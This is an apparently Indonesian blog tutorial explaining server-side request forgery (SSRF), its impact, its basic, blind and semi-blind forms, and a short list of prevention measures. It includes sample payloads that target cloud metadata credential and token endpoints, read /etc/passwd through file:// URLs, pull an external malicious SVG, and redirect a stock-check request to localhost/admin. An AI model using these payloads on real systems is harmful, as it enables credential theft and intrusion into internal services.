MASIGNALPHAS2101
3071178398193978069

Apa Itu SSRF (ServerSideRequestForgery) ?? Bagaimana Cara Mengeksploitasi SSRF?? Bagaimana Cara Memperbaiki Dan Mengatasi SSRF??

Apa Itu SSRF (ServerSideRequestForgery) ?? Bagaimana Cara Mengeksploitasi SSRF?? Bagaimana Cara Memperbaiki Dan Mengatasi SSRF??
Add Comments
Saturday, December 26, 2020
Apa Itu SSRF (ServerSideRequestForgery)??
Pemalsuan permintaan sisi server ( atau yang juga dikenal sebagai SSRF) adalah kerentanan keamanan web yang memungkinkan penyerang mendorong aplikasi sisi server untuk membuat permintaan HTTP ke domain sewenang-wenang yang dipilih penyerang

Aplikasi web mungkin memiliki fungsionalitas untuk mengimpor data dari URL, dan mengimpornya ke halamannya.

Penyerang berpotensi mengubah permintaan dan memanipulasi URL.
Server kemudian mendapatkan permintaan tersebut, kode di sisi server membaca URL baru dan mencoba membaca datanya.

Dengan memilih URL target, penyerang mungkin dapat membaca data dari layanan internal seperti :

Data meta server cloud (AWS, Google Cloud,…)
URL yang Menarik :


AWS :
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role}

Google Cloud : 
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

Digital Ocean:
http://169.254.169.254/metadata/v1.json

• Database seperti MongoDB, NoSQL memiliki antarmuka HTTP

• file (file internal dapat dibaca dengan  file://[URI])


Apa Dampak Dari SSRF ??
SSRF dapat menyebabkan banyak kerentanan lainnya :

• Ini sering mengakibatkan tindakan tidak sah atau akses ke data internal . Baik data dalam aplikasi web atau sistem back-end lainnya.

Contoh - skema Gunakan URL untuk membaca data yang disembunyikan ( file://, dict://, sftp://,  ldap://, tftp://, gopher://) 

Contoh :
http://domain.com/home?url=file:///etc/passwd 
http://domain.com/home?url=file:///C:/Windows/win.ini

• XSS yang dipantulkan dapat dicapai.
Contoh - Ambil file dari situs eksternal yang menghosting muatan berbahaya.

Contoh :
http://localhost:8080/?url=http://brutelogic.com.br/poc.svg

Dalam beberapa kasus bahkan dapat menyebabkan Eksekusi Kode Jarak Jauh .
Contoh - Setelah memindai struktur internal dengan menggunakan SSRF, Anda menemukan sistem usang dengan exploit yang diketahui.

Jenis-Jenis SSRF !!!

• Basic SSRF 
Dengan SSRF Basic, penyerang akan meminta URL yang dimanipulasi dan server akan mengirimkan respons kembali ke penyerang.

Misalnya melihat aplikasi belanja yang memungkinkan pengguna melihat jumlah item yang tersedia di toko. Server mendapatkan datanya dari API menggunakan id dari produk tertentu.

Permintaan dari aplikasi ini terlihat seperti berikut.

POST /items/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

webShopApi=http://stock.webshop.net:8080/items/stock
/check%3FproductId%
3D4

Server meminta jumlah item yang tersisa di stok dari URL tertentu dan mengembalikannya kepada pengguna.

Penyerang dapat menyalah gunakan ini dengan mengubah URL menjadi alamat internal:

POST /items/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
webShopApi=http://localhost/admin

• Blind SSRF

Blind SSRF, agak sulit di deteksi. Kami menggunakan istilah SSRF buta ketika penyerang memberikan URL ke aplikasi tetapi responsnya tidak tercermin di front-end. Untuk memverifikasi serangan SSRF buta, penyerang harus menggunakan  DNSBin , Burp Collaborator atau alat serupa.

Dampak SSRF buta biasanya tidak terlalu parah karena tidak ada data sensitif yang dapat diungkapkan dengan cara ini :

Attacker ~> Blind Payload ~> Application ~> External Interaction ~> DNS Request Tools ~> Attacker (viewrespons)

Semi-Blind SSRF

Mirip dengan Blind SSRF, SSRF semi-blind tidak menunjukkan respons kepada penyerang. Namun beberapa data atau pesan kesalahan dikembalikan, yang cukup untuk mengkonfirmasi bahwa aplikasi rentan terhadap SSRF. 


Bagaimana Cara Mencegah SSRF ??

Tidak ada cara pasti untuk melindungi dari SSRF.

Pendekatan terbaik bergantung pada jenis aplikasinya. Kami mendaftar beberapa di antaranya.

  1. Masukkan nilai dan alamat IP dalam daftar putih yang perlu diakses aplikasi Anda.
  2. Nonaktifkan skema URL yang tidak digunakan (ex: file://dict://,ftp:// )
  3. Gunakan otentikasi pada layanan internal.

Hai! Jika Kamu Belajar Hal Baru Hari Ini, Jangan Lupa Share Artikel Ini, Semoga Artikel Kali Ini Dapat Bermanfaat Untuk Kamu Dan Temanmu, Terimakasih Telah Membaca Dan Sampai Jumpa Di Artikel Selanjutnya..


    Note: Only a member of this blog may post a comment.